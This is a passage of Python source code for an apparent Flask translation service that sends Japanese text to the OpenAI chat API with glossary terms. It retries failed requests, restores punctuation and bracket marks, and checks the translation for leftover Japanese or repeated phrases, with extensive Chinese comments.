"ๆŠ€่ƒฝๆ่ฟฐ" ไธคไธช่ฏๆก๏ผŒๅฆ‚ๆžœๅ…ˆๅŒน้…ๅˆฐ "ๆŠ€่ƒฝๆ่ฟฐ"๏ผŒ # ๅˆ™ๅฐ†ๆ–‡ๆœฌไธญ็š„ "ๆŠ€่ƒฝๆ่ฟฐ" ๆ›ฟๆขไธบ็ฉบ๏ผŒๅŽ็ปญๅฐฑไธไผšๅ†ๅŒน้…ๅˆฐ "ๆŠ€่ƒฝ" ไบ†ใ€‚ if text=='': # ๅฆ‚ๆžœๆ–‡ๆœฌๅœจๆ›ฟๆข่ฟ‡็จ‹ไธญ่ขซๆธ…็ฉบ๏ผŒ่ฏดๆ˜Žๆ‰€ๆœ‰ๆ–‡ๆœฌๅ†…ๅฎน้ƒฝๅทฒ่ขซๅญ—ๅ…ธ่ฏๆฑ‡่ฆ†็›–๏ผŒๆๅ‰็ป“ๆŸๅพช็Žฏ break return res # ่ฟ”ๅ›žๆๅ–ๅˆฐ็š„ๅญ—ๅ…ธ่ฏๆฑ‡ๅ’Œ่ฏ‘ๆ–‡ request_queue = Queue() # ๅˆ›ๅปบ่ฏทๆฑ‚้˜Ÿๅˆ—๏ผŒ็”จไบŽๅผ‚ๆญฅๅค„็†็ฟป่ฏ‘่ฏทๆฑ‚ใ€‚ไฝฟ็”จ้˜Ÿๅˆ—ๅฏไปฅ้ฟๅ…่ฏทๆฑ‚ๅค„็†้˜ปๅกžไธป็บฟ็จ‹๏ผŒๆ้ซ˜ๆœๅŠกๅ™จๅ“ๅบ”้€Ÿๅบฆ def handle_translation(text, translation_queue): """ ๅค„็†็ฟป่ฏ‘่ฏทๆฑ‚็š„ๆ ธๅฟƒๅ‡ฝๆ•ฐใ€‚ Args: text (str): ๅพ…็ฟป่ฏ‘็š„ๆ–‡ๆœฌใ€‚ translation_queue (Queue): ็”จไบŽๅญ˜ๆ”พ็ฟป่ฏ‘็ป“ๆžœ็š„้˜Ÿๅˆ—ใ€‚ """ text = unquote(text) # ๅฏนๆŽฅๆ”ถๅˆฐ็š„ๆ–‡ๆœฌ่ฟ›่กŒ URL ่งฃ็ ๏ผŒ่ฟ˜ๅŽŸๅŽŸๅง‹ๆ–‡ๆœฌๅ†…ๅฎน max_retries = 3 # ๆœ€ๅคง API ่ฏทๆฑ‚้‡่ฏ•ๆฌกๆ•ฐ retries = 0 # ๅˆๅง‹ๅŒ–้‡่ฏ•ๆฌกๆ•ฐ่ฎกๆ•ฐๅ™จ MAX_THREADS = 30 # ๆœ€ๅคง็บฟ็จ‹ๆ•ฐ้™ๅˆถ๏ผŒ็”จไบŽ้™ๅˆถๅนถๅ‘ API ่ฏทๆฑ‚ๆ•ฐ้‡๏ผŒ้˜ฒๆญขๅฏน API ้€ ๆˆ่ฟ‡ๅคงๅŽ‹ๅŠ›ๆˆ–่ถ…ๅ‡บๅนถๅ‘้™ๅˆถ queue_length = request_queue.qsize() # ่Žทๅ–ๅฝ“ๅ‰่ฏทๆฑ‚้˜Ÿๅˆ—็š„้•ฟๅบฆ๏ผŒๅฏไปฅๆ นๆฎ้˜Ÿๅˆ—้•ฟๅบฆๅŠจๆ€่ฐƒๆ•ด็บฟ็จ‹ๆ•ฐ number_of_threads = max(1, min(queue_length // 4, MAX_THREADS)) # ๅŠจๆ€่ฎก็ฎ—็บฟ็จ‹ๆ•ฐ๏ผš # ่‡ณๅฐ‘ไฝฟ็”จ 1 ไธช็บฟ็จ‹๏ผŒๆœ€ๅคšไธ่ถ…่ฟ‡ MAX_THREADS๏ผŒ # ็บฟ็จ‹ๆ•ฐ้š้˜Ÿๅˆ—้•ฟๅบฆๅขžๅŠ ่€ŒๅขžๅŠ ๏ผŒไฝ†ๅขžๅน…ๅ—้™ (้™คไปฅ 4)ใ€‚ # ่ฟ™ๆ ทๅฏไปฅๅœจ่ฏทๆฑ‚้‡ๅคงๆ—ถๅขžๅŠ ๅนถๅ‘๏ผŒ่ฏทๆฑ‚้‡ๅฐๆ—ถๅ‡ๅฐ‘่ต„ๆบๅ ็”จใ€‚ special_chars = ['๏ผŒ', 'ใ€‚', '๏ผŸ','...'] # ๅฎšไน‰ๅฅๆœซ็‰นๆฎŠๅญ—็ฌฆๅˆ—่กจ๏ผŒ็”จไบŽๅฅๆœซๆ ‡็‚น็ฌฆๅท็š„ๅฏน้ฝๅ’Œไฟฎๆญฃ text_end_special_char = None # ๅˆๅง‹ๅŒ–ๆ–‡ๆœฌๆœซๅฐพ็‰นๆฎŠๅญ—็ฌฆๅ˜้‡ if text[-1] in special_chars: # ๆฃ€ๆŸฅๅพ…็ฟป่ฏ‘ๆ–‡ๆœฌๆœซๅฐพๆ˜ฏๅฆๅŒ…ๅซ็‰นๆฎŠๅญ—็ฌฆ text_end_special_char = text[-1] # ๅฆ‚ๆžœๅŒ…ๅซ๏ผŒๅˆ™่ฎฐๅฝ•่ฏฅ็‰นๆฎŠๅญ—็ฌฆ special_char_start = "ใ€Œ" # ๅฎšไน‰็‰นๆฎŠๅญ—็ฌฆ่ตทๅง‹ๆ ‡่ฎฐ special_char_end = "ใ€" # ๅฎšไน‰็‰นๆฎŠๅญ—็ฌฆ็ป“ๆŸๆ ‡่ฎฐ has_special_start = text.startswith(special_char_start) # ๆฃ€ๆŸฅๆ–‡ๆœฌๆ˜ฏๅฆไปฅ็‰นๆฎŠๅญ—็ฌฆ่ตทๅง‹ๆ ‡่ฎฐๅผ€ๅคด has_special_end = text.endswith(special_char_end) # ๆฃ€ๆŸฅๆ–‡ๆœฌๆ˜ฏๅฆไปฅ็‰นๆฎŠๅญ—็ฌฆ็ป“ๆŸๆ ‡่ฎฐ็ป“ๅฐพ if has_special_start and has_special_end: # ๅฆ‚ๆžœๆ–‡ๆœฌๅŒๆ—ถๅŒ…ๅซ่ตทๅง‹ๅ’Œ็ป“ๆŸ็‰นๆฎŠๅญ—็ฌฆๆ ‡่ฎฐ๏ผŒๅˆ™ๅœจ็ฟป่ฏ‘ๅ‰็งป้™คๅฎƒไปฌ๏ผŒ # ็ฟป่ฏ‘ๅŽๅ†ๅฐ†็‰นๆฎŠๅญ—็ฌฆๅŠ ๅ›ž๏ผŒไปฅ้ฟๅ…็‰นๆฎŠๅญ—็ฌฆๅฝฑๅ“็ฟป่ฏ‘่ดจ้‡ๆˆ–่ขซๆจกๅž‹้”™่ฏฏ็ฟป่ฏ‘ text = text[len(special_char_start):-len(special_char_end)] # OpenAI ๆจกๅž‹ๅ‚ๆ•ฐ้…็ฝฎ model_params = { "temperature": 0.1, # ้™ไฝŽ temperature๏ผŒไฝฟๆจกๅž‹่พ“ๅ‡บๆ›ด็จณๅฎš๏ผŒๅ‡ๅฐ‘้šๆœบๆ€ง "frequency_penalty": 0.1, # ๅฏน้ข‘็นๅ‡บ็Žฐ็š„ token ๆ–ฝๅŠ ๆƒฉ็ฝš๏ผŒ เคนเคฒเฅเค•เคพ้™ไฝŽ้‡ๅคๅ†…ๅฎน็”Ÿๆˆ็š„ๅฏ่ƒฝๆ€ง "max_tokens": 512, # ้™ๅˆถๆจกๅž‹็”Ÿๆˆtoken็š„ๆœ€ๅคงๆ•ฐ้‡๏ผŒ้ฟๅ…ๆจกๅž‹็”Ÿๆˆ่ฟ‡้•ฟๆ–‡ๆœฌ๏ผŒๆตช่ดนtokenๆˆ–่ถ…ๅ‡บๅค„็†้™ๅˆถ "top_p": 0.3, # ้™ๅˆถๅ€™้€‰token็š„่Œƒๅ›ด๏ผŒไป…่€ƒ่™‘็ดฏ็งฏๆฆ‚็އๆœ€้ซ˜็š„ top_p ้ƒจๅˆ† token๏ผŒ่ฟ›ไธ€ๆญฅ็บฆๆŸๆจกๅž‹่พ“ๅ‡บ๏ผŒๆ้ซ˜็”Ÿๆˆ่ดจ้‡ } try: # ไฝฟ็”จ try...except ๅ—ๆ•่Žทๅฏ่ƒฝๅ‘็”Ÿ็š„ๅผ‚ๅธธ๏ผŒไพ‹ๅฆ‚ API ่ฏทๆฑ‚่ถ…ๆ—ถๆˆ–้”™่ฏฏ dict_inuse=get_dict(text) # ไปŽๅพ…็ฟป่ฏ‘ๆ–‡ๆœฌไธญ่Žทๅ–ๅญ—ๅ…ธ่ฏๆฑ‡ for i in range(len(prompt_list)): # ้ๅކๆ็คบ่ฏๅˆ—่กจ๏ผŒๅฐ่ฏ•ไฝฟ็”จไธๅŒ็š„ๆ็คบ่ฏ่ฟ›่กŒ็ฟป่ฏ‘ prompt = prompt_list[i] # ่Žทๅ–ๅฝ“ๅ‰ๅพช็Žฏ็š„ๆ็คบ่ฏ dict_inuse = get_dict(text) # ๅ†ๆฌก่Žทๅ–ๅญ—ๅ…ธ่ฏๆฑ‡ (่™ฝ็„ถๆญคๅค„้‡ๅค่Žทๅ–๏ผŒไฝ†้€ป่พ‘ไธŠไธบไบ†ไฟ่ฏๆฏๆฌกๅพช็Žฏ้ƒฝ้‡ๆ–ฐ่Žทๅ–ไธ€ๆฌกๅญ—ๅ…ธๆ˜ฏๆ›ดไธฅ่ฐจ็š„) if dict_inuse: # ๅฆ‚ๆžœ่Žทๅ–ๅˆฐๅญ—ๅ…ธ่ฏๆฑ‡๏ผŒๅˆ™ๅฐ†ๅญ—ๅ…ธๆ็คบ่ฏๅ’Œๅญ—ๅ…ธๅ†…ๅฎนๆทปๅŠ ๅˆฐๅฝ“ๅ‰ๆ็คบ่ฏไธญ๏ผŒๅผ•ๅฏผๆจกๅž‹ไฝฟ็”จๅญ—ๅ…ธ่ฟ›่กŒ็ฟป่ฏ‘ prompt += dprompt_list[i] + str(dict_inuse) messages_test = [ # ๆž„ๅปบ OpenAI API ่ฏทๆฑ‚็š„ๆถˆๆฏไฝ“ {"role": "system", "content": prompt}, # system ่ง’่‰ฒๆถˆๆฏ๏ผŒๅŒ…ๅซๆ็คบ่ฏ๏ผŒ็”จไบŽ่ฎพๅฎšๆจกๅž‹่ง’่‰ฒๅ’Œ็ฟป่ฏ‘็›ฎๆ ‡ {"role": "user", "content": text} # user ่ง’่‰ฒๆถˆๆฏ๏ผŒๅŒ…ๅซๅพ…็ฟป่ฏ‘็š„ๆ–‡ๆœฌๅ†…ๅฎน ] with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_threads) as executor: # ๅˆ›ๅปบ็บฟ็จ‹ๆฑ ๏ผŒๅนถๅ‘ๆ‰ง่กŒ API ่ฏทๆฑ‚ future_to_trans = {executor.submit(client.chat.completions.create, model=Model_Type, messages=messages_test, **model_params) for _ in range(number_of_threads)} # ๆไบคๅคšไธช API ่ฏทๆฑ‚ไปปๅŠกๅˆฐ็บฟ็จ‹ๆฑ  # ่ฟ™้‡Œๆไบค็š„ไปปๅŠกๆ•ฐ้‡็ญ‰ไบŽ number_of_threads๏ผŒๅฎž็Žฐๅนถๅ‘่ฏทๆฑ‚ for future in concurrent.futures.as_completed(future_to_trans): # ้ๅކๅทฒๅฎŒๆˆ็š„ future try: # ๅ†ๆฌกไฝฟ็”จ try...except ๆ•่Žทๅ•ไธช API ่ฏทๆฑ‚ๅฏ่ƒฝๅ‘็”Ÿ็š„ๅผ‚ๅธธ response_test = future.result() # ่Žทๅ– future ็š„็ป“ๆžœ๏ผŒๅณ API ๅ“ๅบ” translations = response_test.choices[0].message.content # ไปŽ API ๅ“ๅบ”ไธญๆๅ–็ฟป่ฏ‘็ป“ๆžœๆ–‡ๆœฌ print(f'{prompt}\n{translations}') # ๆ‰“ๅฐๆ็คบ่ฏๅ’Œ็ฟป่ฏ‘็ป“ๆžœ (่ฐƒ่ฏ•ๆˆ–ๆ—ฅๅฟ—่ฎฐๅฝ•็”จ) if translations.startswith('\n') and not text.startswith('\n'): #ๅฝ“ๅŽŸๆ–‡ๆœชๆœ‰ๆข่กŒ็ฌฆ๏ผŒ็ป“ๆžœๅ‡บ็Žฐๆข่กŒ็ฌฆ translations = translations.lstrip('\n') #ๆธ…้™ค็ป“ๆžœไธญๅผ€ๅคด็š„ๆข่กŒ็ฌฆ if has_special_start and has_special_end: # ๅฆ‚ๆžœๅŽŸๅง‹ๆ–‡ๆœฌๅŒ…ๅซ็‰นๆฎŠๅญ—็ฌฆๆ ‡่ฎฐ๏ผŒๅˆ™ๅฐ†็ฟป่ฏ‘็ป“ๆžœ็”จ็‰นๆฎŠๅญ—็ฌฆๆ ‡่ฎฐๅŒ…่ฃน่ตทๆฅ๏ผŒไฟๆŒๆ ผๅผไธ€่‡ด if not translations.startswith(special_char_start): # ๆฃ€ๆŸฅ็ฟป่ฏ‘็ป“ๆžœๆ˜ฏๅฆๅทฒไปฅ่ตทๅง‹ๆ ‡่ฎฐๅผ€ๅคด๏ผŒ่‹ฅๆฒกๆœ‰ๅˆ™ๆทปๅŠ  translations = special_char_start + translations if not translations.endswith(special_char_end): # ๆฃ€ๆŸฅ็ฟป่ฏ‘็ป“ๆžœๆ˜ฏๅฆๅทฒไปฅ็ป“ๆŸๆ ‡่ฎฐ็ป“ๅฐพ๏ผŒ่‹ฅๆฒกๆœ‰ๅˆ™ๆทปๅŠ  translations = translations + special_char_end elif has_special_start and not translations.startswith(special_char_start): # ๅ†ๆฌกๆฃ€ๆŸฅๅนถๆทปๅŠ ่ตทๅง‹ๆ ‡่ฎฐ๏ผŒไปฅๅบ”ๅฏนๆ›ดๅคๆ‚็š„ๆƒ…ๅ†ต translations = special_char_start + translations elif has_special_end and not translations.endswith(special_char_end): # ๅ†ๆฌกๆฃ€ๆŸฅๅนถๆทปๅŠ ็ป“ๆŸๆ ‡่ฎฐ๏ผŒไปฅๅบ”ๅฏนๆ›ดๅคๆ‚็š„ๆƒ…ๅ†ต translations = translations + special_char_end translation_end_special_char = None # ๅˆๅง‹ๅŒ–็ฟป่ฏ‘็ป“ๆžœๆœซๅฐพ็‰นๆฎŠๅญ—็ฌฆๅ˜้‡ if translations[-1] in special_chars: # ๆฃ€ๆŸฅ็ฟป่ฏ‘็ป“ๆžœๆœซๅฐพๆ˜ฏๅฆๅŒ…ๅซ็‰นๆฎŠๅญ—็ฌฆ translation_end_special_char = translations[-1] # ๅฆ‚ๆžœๅŒ…ๅซ๏ผŒๅˆ™่ฎฐๅฝ•่ฏฅ็‰นๆฎŠๅญ—็ฌฆ if text_end_special_char and translation_end_special_char: # ๅฆ‚ๆžœๅŽŸๅง‹ๆ–‡ๆœฌๅ’Œ็ฟป่ฏ‘็ป“ๆžœๆœซๅฐพ้ƒฝๆœ‰็‰นๆฎŠๅญ—็ฌฆ if text_end_special_char != translation_end_special_char: # ไธ”ไธคไธช็‰นๆฎŠๅญ—็ฌฆไธไธ€่‡ด๏ผŒๅˆ™ไฟฎๆญฃ็ฟป่ฏ‘็ป“ๆžœ็š„ๆœซๅฐพ็‰นๆฎŠๅญ—็ฌฆ๏ผŒไฝฟๅ…ถไธŽๅŽŸๅง‹ๆ–‡ๆœฌไธ€่‡ด๏ผŒไฟๆŒๆ ‡็‚น็ฌฆๅทๅฏน้ฝ translations = translations[:-1] + text_end_special_char elif text_end_special_char and not translation_end_special_char: # ๅฆ‚ๆžœๅŽŸๅง‹ๆ–‡ๆœฌๆœซๅฐพๆœ‰็‰นๆฎŠๅญ—็ฌฆ๏ผŒ่€Œ็ฟป่ฏ‘็ป“ๆžœๆฒกๆœ‰๏ผŒๅˆ™ๅฐ†ๅŽŸๅง‹ๆ–‡ๆœฌ็š„ๆœซๅฐพ็‰นๆฎŠๅญ—็ฌฆๆทปๅŠ ๅˆฐ็ฟป่ฏ‘็ป“ๆžœๆœซๅฐพ๏ผŒไฟๆŒๆ ‡็‚น็ฌฆๅทๅฎŒๆ•ด translations += text_end_special_char elif not text_end_special_char and translation_end_special_char: # ๅฆ‚ๆžœๅŽŸๅง‹ๆ–‡ๆœฌๆœซๅฐพๆฒกๆœ‰็‰นๆฎŠๅญ—็ฌฆ๏ผŒ่€Œ็ฟป่ฏ‘็ป“ๆžœๆœ‰๏ผŒๅˆ™็งป้™ค็ฟป่ฏ‘็ป“ๆžœๆœซๅฐพ็š„็‰นๆฎŠๅญ—็ฌฆ๏ผŒไฟๆŒๆ ‡็‚น็ฌฆๅท็ฎ€ๆด translations = translations[:-1] contains_japanese_characters = contains_japanese(translations) # ๆฃ€ๆต‹็ฟป่ฏ‘็ป“ๆžœไธญๆ˜ฏๅฆๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆ repeat_check = has_repeated_sequence(translations, repeat_count) # ๆฃ€ๆต‹็ฟป่ฏ‘็ป“ๆžœไธญๆ˜ฏๅฆๅญ˜ๅœจ้‡ๅคๅ†…ๅฎน except Exception as e: # ๆ•่Žท API ่ฏทๆฑ‚ๅผ‚ๅธธ retries += 1 # ๅขžๅŠ ้‡่ฏ•ๆฌกๆ•ฐ print(f"API่ฏทๆฑ‚่ถ…ๆ—ถ๏ผŒๆญฃๅœจ่ฟ›่กŒ็ฌฌ {retries} ๆฌก้‡่ฏ•... {e}") # ๆ‰“ๅฐ้‡่ฏ•ไฟกๆฏ if retries == max_retries: # ๅฆ‚ๆžœ่พพๅˆฐๆœ€ๅคง้‡่ฏ•ๆฌกๆ•ฐ raise e # ๆŠ›ๅ‡บๅผ‚ๅธธ๏ผŒ็ปˆๆญข็ฟป่ฏ‘ time.sleep(1) # ็ญ‰ๅพ… 1 ็ง’ๅŽ้‡่ฏ• if not contains_japanese_characters and not repeat_check: # ๅฆ‚ๆžœ็ฟป่ฏ‘็ป“ๆžœไธๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆไธ”ๆฒกๆœ‰้‡ๅคๅ†…ๅฎน๏ผŒๅˆ™่ฎคไธบ็ฟป่ฏ‘่ดจ้‡ๅฏไปฅๆŽฅๅ—๏ผŒ่ทณๅ‡บๆ็คบ่ฏๅพช็Žฏ break elif contains_japanese_characters: # ๅฆ‚ๆžœ็ฟป่ฏ‘็ป“ๆžœๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆ๏ผŒๅˆ™่ฏดๆ˜Žๅฝ“ๅ‰ๆ็คบ่ฏไธ้€‚็”จ print("\033[31mๆฃ€ๆต‹ๅˆฐ่ฏ‘ๆ–‡ไธญๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆ๏ผŒๅฐ่ฏ•ไฝฟ็”จไธ‹ไธ€ไธชๆ็คบ่ฏ่ฟ›่กŒ็ฟป่ฏ‘ใ€‚\033[0m") # ๆ‰“ๅฐ่ญฆๅ‘Šไฟกๆฏ๏ผŒๆ็คบๅฐ†ๅฐ่ฏ•ไธ‹ไธ€ไธชๆ็คบ่ฏ continue # ็ปง็ปญไธ‹ไธ€ๆฌกๅพช็Žฏ๏ผŒๅฐ่ฏ•ไฝฟ็”จไธ‹ไธ€ไธชๆ็คบ่ฏ elif repeat_check: # ๅฆ‚ๆžœ็ฟป่ฏ‘็ป“ๆžœๅญ˜ๅœจ้‡ๅคๅ†…ๅฎน๏ผŒๅˆ™่ฏดๆ˜Ž็ฟป่ฏ‘่ดจ้‡ไธไฝณ๏ผŒ้œ€่ฆ่ฐƒๆ•ดๆจกๅž‹ๅ‚ๆ•ฐๆˆ–ๆ็คบ่ฏ print("\033[31mๆฃ€ๆต‹ๅˆฐ่ฏ‘ๆ–‡ไธญๅญ˜ๅœจ้‡ๅค็Ÿญ่ฏญ๏ผŒ่ฐƒๆ•ดๅ‚ๆ•ฐใ€‚\033[0m") # ๆ‰“ๅฐ่ญฆๅ‘Šไฟกๆฏ๏ผŒๆ็คบๅฐ†่ฐƒๆ•ดๆจกๅž‹ๅ‚ๆ•ฐ model_params['frequency_penalty'] += 0.1 # ๅขžๅŠ  frequency_penalty ๅ‚ๆ•ฐๅ€ผ๏ผŒ้™ไฝŽๆจกๅž‹็”Ÿๆˆ้‡ๅคๅ†…ๅฎน็š„ๅ€พๅ‘ break # ่ทณๅ‡บๅฝ“ๅ‰ๆ็คบ่ฏ็š„ๅฐ่ฏ•๏ผŒไฝฟ็”จ่ฐƒๆ•ดๅŽ็š„ๅ‚ๆ•ฐ้‡ๆ–ฐๅฐ่ฏ•็ฟป่ฏ‘ (ๆณจๆ„่ฟ™้‡Œๅชๆ˜ฏ break ไบ†ๅ†…ๅฑ‚็š„ for ๅพช็Žฏ๏ผŒๅค–ๅฑ‚็š„ for ๅพช็Žฏไผš็ปง็ปญๅฐ่ฏ•ไธ‹ไธ€ไธชๆ็คบ่ฏ๏ผŒ้€ป่พ‘ๅฏ่ƒฝ้œ€่ฆๆ นๆฎๅฎž้™…้œ€ๆฑ‚่ฐƒๆ•ด) if not contains_japanese_characters and not repeat_check: # ๅ†ๆฌกๆฃ€ๆŸฅ๏ผŒๅฆ‚ๆžœ็ฟป่ฏ‘็ป“ๆžœๆœ€็ปˆ็ฌฆๅˆ่ฆๆฑ‚ (ไธๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆไธ”ๆฒกๆœ‰้‡ๅคๅ†…ๅฎน)๏ผŒๅˆ™่ทณๅ‡บๆ‰€ๆœ‰ๅพช็Žฏ๏ผŒๅฎŒๆˆ็ฟป่ฏ‘ break # ๆ‰“ๅฐๆœ€็ปˆ็ฟป่ฏ‘็ป“ๆžœ (้ซ˜ไบฎๆ˜พ็คบ) print(f"\033[36m[่ฏ‘ๆ–‡]\033[0m:\033[31m {translations}\033[0m") print("-------------------------------------------------------------------------------------------------------") # ๅˆ†้š”็บฟ๏ผŒ็”จไบŽๅˆ†้š”ไธๅŒๆ–‡ๆœฌ็š„็ฟป่ฏ‘็ป“ๆžœ translation_queue.put(translations) # ๅฐ†็ฟป่ฏ‘็ป“ๆžœๆ”พๅ…ฅ็ฟป่ฏ‘็ป“ๆžœ้˜Ÿๅˆ—๏ผŒไพ› Flask ่ทฏ็”ฑๅ‡ฝๆ•ฐ่Žทๅ– except Exception as e: # ๆ•่Žทๆ›ดๅค–ๅฑ‚็š„ๅผ‚ๅธธ๏ผŒไพ‹ๅฆ‚ API ่ฟžๆŽฅ้”™่ฏฏ็ญ‰ print(f"API่ฏทๆฑ‚ๅคฑ่ดฅ๏ผš{e}") # ๆ‰“ๅฐ API ่ฏทๆฑ‚ๅคฑ่ดฅ็š„้”™่ฏฏไฟกๆฏ translation_queue.put(False) # ๅฐ† False ๆ”พๅ…ฅ็ฟป่ฏ‘็ป“ๆžœ้˜Ÿๅˆ—๏ผŒ่กจ็คบ็ฟป่ฏ‘ๅคฑ่ดฅ # ๅฎšไน‰ Flask ่ทฏ็”ฑ๏ผŒๅค„็† "/translate" GET ่ฏทๆฑ‚ @app.route('/translate', methods=['GET']) def translate(): """ Flask ่ทฏ็”ฑๅ‡ฝๆ•ฐ๏ผŒๅค„็† "/translate" GET ่ฏทๆฑ‚ใ€‚ ๆŽฅๆ”ถ GET ่ฏทๆฑ‚ๅ‚ๆ•ฐไธญ็š„ "text" ๅญ—ๆฎต๏ผŒ่ฐƒ็”จ็ฟป่ฏ‘ๅค„็†ๅ‡ฝๆ•ฐ่ฟ›่กŒ็ฟป่ฏ‘๏ผŒๅนถ่ฟ”ๅ›ž็ฟป่ฏ‘็ป“ๆžœใ€‚ ๅฆ‚ๆžœ็ฟป่ฏ‘่ถ…ๆ—ถๆˆ–ๅคฑ่ดฅ๏ผŒๅˆ™่ฟ”ๅ›ž็›ธๅบ”็š„้”™่ฏฏไฟกๆฏๅ’Œ็Šถๆ€็ ใ€‚ Returns: Response: Flask Response ๅฏน่ฑก๏ผŒๅŒ…ๅซ็ฟป่ฏ‘็ป“ๆžœๆˆ–้”™่ฏฏไฟกๆฏใ€‚ """ text = request.args.get('text') # ไปŽ GET ่ฏทๆฑ‚็š„ๆŸฅ่ฏขๅ‚ๆ•ฐไธญ่Žทๅ–ๅพ…็ฟป่ฏ‘็š„ๆ–‡ๆœฌ๏ผŒๅ‚ๆ•ฐๅไธบ "text" print(f"\033[36m[ๅŽŸๆ–‡]\033[0m \033[35m{text}\033[0m") # ๆ‰“ๅฐๆŽฅๆ”ถๅˆฐ็š„ๅŽŸๆ–‡ (้ซ˜ไบฎๆ˜พ็คบ) # ็”ฑไบŽๆ็คบ่ฏไธญๅทฒ็ปๆไพ›ๅฏนๆข่กŒ็ฌฆ็š„ๅค„็†๏ผŒๆ‰€ไปฅ่ฟ™้‡Œไธ้œ€่ฆๅ†ๅฏนๆข่กŒ็ฌฆ่ฟ›่กŒ็‰นๆฎŠๅค„็†๏ผŒๆ‰€ไปฅๅฐ†ไธ‹้ข็š„ไปฃ็ ๆณจ้‡Šๆމ๏ผŒๅฆ‚ๆžœไฟฎๆ”นไบ†ๆ็คบ่ฏ๏ผŒ่ฏทๅ–ๆถˆๆณจ้‡Š # if '\n' in text: # ๆฃ€ๆŸฅๅŽŸๆ–‡ไธญๆ˜ฏๅฆๅŒ…ๅซๆข่กŒ็ฌฆ "\n" # text=text.replace('\n','\\n') # ๅฆ‚ๆžœๅŒ…ๅซ๏ผŒๅˆ™ๅฐ†ๆข่กŒ็ฌฆๆ›ฟๆขไธบ "\\n"๏ผŒ้ฟๅ…ๆข่กŒ็ฌฆๅœจๅŽ็ปญๅค„็†ไธญๅผ•่ตท้—ฎ้ข˜ (ไพ‹ๅฆ‚๏ผŒๅœจๆŸไบ›ๆ—ฅๅฟ—ๆˆ–ๆ˜พ็คบๅœบๆ™ฏไธ‹) translation_queue = Queue() # ๅˆ›ๅปบไธ€ไธชๆ–ฐ็š„็ฟป่ฏ‘็ป“ๆžœ้˜Ÿๅˆ—๏ผŒ็”จไบŽๅฝ“ๅ‰่ฏทๆฑ‚็š„็ฟป่ฏ‘็ป“ๆžœไผ ้€’ request_queue.put_nowait(text) # ๅฐ†ๅพ…็ฟป่ฏ‘ๆ–‡ๆœฌๆ”พๅ…ฅ่ฏทๆฑ‚้˜Ÿๅˆ—๏ผŒไฝฟ็”จ put_nowait ้ž้˜ปๅกžๅœฐๆ”พๅ…ฅ้˜Ÿๅˆ— with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # ๅˆ›ๅปบไธ€ไธช็บฟ็จ‹ๆฑ ๏ผŒ็”จไบŽๆ‰ง่กŒ็ฟป่ฏ‘ไปปๅŠก (่ฟ™้‡Œ็บฟ็จ‹ๆฑ ็š„ๆœ€ๅคง็บฟ็จ‹ๆ•ฐ่ฎพ็ฝฎไธบ 10๏ผŒๅฏ่ƒฝ้œ€่ฆๆ นๆฎๅฎž้™…ๆƒ…ๅ†ต่ฐƒๆ•ด) future = executor.submit(handle_translation, text, translation_queue) # ๆไบค็ฟป่ฏ‘ไปปๅŠก (handle_translation ๅ‡ฝๆ•ฐ) ๅˆฐ็บฟ็จ‹ๆฑ ๏ผŒๅนถ่Žทๅ– Future ๅฏน่ฑก๏ผŒ็”จไบŽ่ทŸ่ธชไปปๅŠก็Šถๆ€ๅ’Œ็ป“ๆžœ try: # ไฝฟ็”จ try...except ๅ—ๆ•่ŽทไปปๅŠกๆ‰ง่กŒ่ถ…ๆ—ถๅผ‚ๅธธ future.result(timeout=30) # ็ญ‰ๅพ…ไปปๅŠกๅฎŒๆˆ๏ผŒ่ฎพ็ฝฎ่ถ…ๆ—ถๆ—ถ้—ดไธบ 30 ็ง’ใ€‚ๅฆ‚ๆžœๅœจ 30 ็ง’ๅ†…ไปปๅŠกๆฒกๆœ‰ๅฎŒๆˆ๏ผŒๅˆ™ๆŠ›ๅ‡บ TimeoutError ๅผ‚ๅธธ except concurrent.futures.TimeoutError: # ๆ•่Žท่ถ…ๆ—ถๅผ‚ๅธธ print("็ฟป่ฏ‘่ฏทๆฑ‚่ถ…ๆ—ถ๏ผŒ้‡ๆ–ฐ็ฟป่ฏ‘...") # ๆ‰“ๅฐ่ถ…ๆ—ถไฟกๆฏ return "[่ฏทๆฑ‚่ถ…ๆ—ถ] " + text, 500 # ่ฟ”ๅ›ž HTTP 500 ้”™่ฏฏ็Šถๆ€็ ๅ’Œ้”™่ฏฏไฟกๆฏ๏ผŒๅŒ…ๅซๅŽŸๅง‹ๆ–‡ๆœฌ๏ผŒๆ–นไพฟ็”จๆˆท่ฏ†ๅˆซ่ถ…ๆ—ถ็š„่ฏทๆฑ‚ translation = translation_queue.get() # ไปŽ็ฟป่ฏ‘็ป“ๆžœ้˜Ÿๅˆ—ไธญ่Žทๅ–็ฟป่ฏ‘็ป“ๆžœ๏ผŒ่ฟ™้‡Œไผš้˜ปๅกž็ญ‰ๅพ…๏ผŒ็›ดๅˆฐ้˜Ÿๅˆ—ไธญๆœ‰็ป“ๆžœๅฏๅ– request_queue.get_nowait() # ไปŽ่ฏทๆฑ‚้˜Ÿๅˆ—ไธญ็งป้™คๅทฒๅค„็†ๅฎŒๆˆ็š„่ฏทๆฑ‚ (่ฟ™้‡Œๅฏ่ƒฝ้œ€่ฆๆ นๆฎๅฎž้™…้˜Ÿๅˆ—ไฝฟ็”จ้€ป่พ‘ๆฅ่ฐƒๆ•ด๏ผŒๅฆ‚ๆžœ request_queue ไป…็”จไบŽ็ปŸ่ฎก้˜Ÿๅˆ—้•ฟๅบฆ๏ผŒๅˆ™ๆญคๅค„็š„ get_nowait ๅฏ่ƒฝไธๆ˜ฏๅฟ…้œ€็š„) if isinstance(translation, str): # ๆฃ€ๆŸฅ็ฟป่ฏ‘็ป“ๆžœๆ˜ฏๅฆไธบๅญ—็ฌฆไธฒ็ฑปๅž‹๏ผŒๅˆคๆ–ญ็ฟป่ฏ‘ๆ˜ฏๅฆๆˆๅŠŸ translation = translation.replace('\\n', '\n') # ๅฆ‚ๆžœ็ฟป่ฏ‘ๆˆๅŠŸ๏ผŒๅฐ†ไน‹ๅ‰ๆ›ฟๆข็š„ "\\n" ่ฟ˜ๅŽŸไธบ "\n"๏ผŒๆขๅคๅŽŸๅง‹ๆข่กŒ็ฌฆๆ ผๅผ return translation # 